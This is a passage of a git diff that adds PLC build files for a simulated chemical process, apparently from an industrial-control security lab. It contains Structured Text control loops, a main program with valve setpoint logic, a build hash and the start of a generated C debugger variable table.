999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, 